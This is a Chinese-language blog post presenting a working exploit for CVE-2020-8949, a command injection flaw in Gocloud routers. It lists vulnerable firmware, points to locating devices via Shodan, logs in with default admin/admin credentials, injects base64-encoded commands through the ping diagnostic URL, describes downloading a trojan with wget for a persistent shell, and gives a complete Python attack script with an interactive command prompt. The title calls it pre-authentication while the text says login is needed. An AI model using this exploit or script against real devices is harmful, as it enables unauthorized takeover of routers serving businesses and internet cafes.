Gocloud路由器预认证RCE漏洞利用(CVE-2020-8949)

    技术2022-07-11  78

    Gocloud路由器预认证RCE漏洞利用(CVE-2020-8949)

    0x01 写在前面

    在研究CVE-2020-8949 漏洞的时候,学到一个新的执行命令的技巧,这个漏洞在远程执行命令的时候,执行的命令之间带有空格会被过滤掉,我试过很多种方式,用 替换空格,或者用${IFS}代替,都会被过滤。然后执行了一下busybox ,看到里面有个大部分路由器不常见的命令,正式这个命令让我成功的上传木马,获取到了路由器稳定的shell,控制权限。 请各位大佬往下看,后面会介绍这个路由器中不常见的命令。

    0x02 漏洞验证

    Gocloud路由器在我们日常生活中很少见,甚至都没怎么听说过,这个厂商的路由器经常用在企业或者网吧,没错,就是那个万象管理系统的网吧。下面是路由器登录的界面 以下Gould路由容易受到OS命令注入的影响:受影响的版本: GOCLOUD S2A_WL-固件版本4.2.7.16471 GOCLOUD S2A-固件版本4.2.7.17278 GOCLOUD S2A-固件版本4.3.0.15815 GOCLOUD S2A-固件版本4.3.0.17193 GOCLOUD S3A(K2P MTK版本)-固件版本4.2.7.16528 GOCLOUD S3A-固件版本4.3.0.16572 GOCLOUD ISP3000英特尔®至强®E5-2660-固件版本4.3.0.17190 这款路由器基本上集中在中国,并且数量还不少。 在shodan 可以搜索到,搜索规则如图所示。 下图是我通过弱口令登录进去的 此漏洞的触发点在系统工具诊断工具中, 在url的“ ping”功能中,可以通过用“;”转义来注入命令。在注入命令的开头和结尾处 漏洞触发需要在认证之后。

    POC: http://IP:PORT/cgi-bin/webui/admin/tools/app_ping/diag_ping/ ;$(echo cHM=|base64 -d); /5/56/false.com_

    利用如下图所示

    但是在利用的时候,我遇到了一些字符给我带来问题的问题,例如“ /”,因此我使用base64编码有效负载,这个设备中有base64 这个命令。

    $(echo command|base64 -d) 这其中的command 是要转成base64格式的。 base64 -d 是解码 整个意思是, 打印出命令,然后用base64解码,解码完之后执行。

    0x03 漏洞利用

    接下来看看如何利用, 弱口令 admin/admin 首先是上传木马,利用路由器中的wget命令。 上传的木马需要根据路由器的指令架构传递对应的M。 这里是X86的架构。 指令架构:Linux Router 3.10.108 #5 SMP Fri May 22 12:40:55 CST 2020 x86_64 GNU/Linux 注: 此设备是有base64 命令,虽然执行命令中带有/ - 等字符会被过滤,但是可以使用base64进行编码发送,然后解码执行。 如下图,左边是执行上传命令 右边的服务器接收到路由器的下载请求 执行木马

    0x04 利用代码Exploit

    # -*- coding:utf-8 -*- import requests import urllib import base64 import re import json import time # 执行命令EXP def execute_command(command,TARGET): try: url = TARGET+"cgi-bin/webui" timestamp = str(time.time()).split(".")[0] # 创建session request1 = requests.session() login = {"csrftoken":"MTU5MzQ5NjI5MEdPQ0xPVUQ=", "password":"admin", "timestamp":"1593496290", "username":"admin"} #print(login) # 发送登录数据 r = request1.post(url, data=login, verify=False,timeout=10) print(r.status_code) command1 = base64.b64encode(command) url2 = TARGET + "/cgi-bin/webui/admin/tools/app_ping/diag_ping/ ;$(echo "+command1+"|base64 -d); /5/56/false.com_" r2 = request1.post(url2,verify=False,timeout=10) print(r2.url) print(r2.text) except Exception as e: print(e) if __name__== '__main__': command = 'ifconfig' while True: execute_command(command,'http://XXXXXXXXX') command = raw_input("~$: ")

    0x05 参考

    https://sku11army.blogspot.com/2020/02/gocloud-rce-in-gocloud-routers.html

    Processed: 0.012, SQL: 9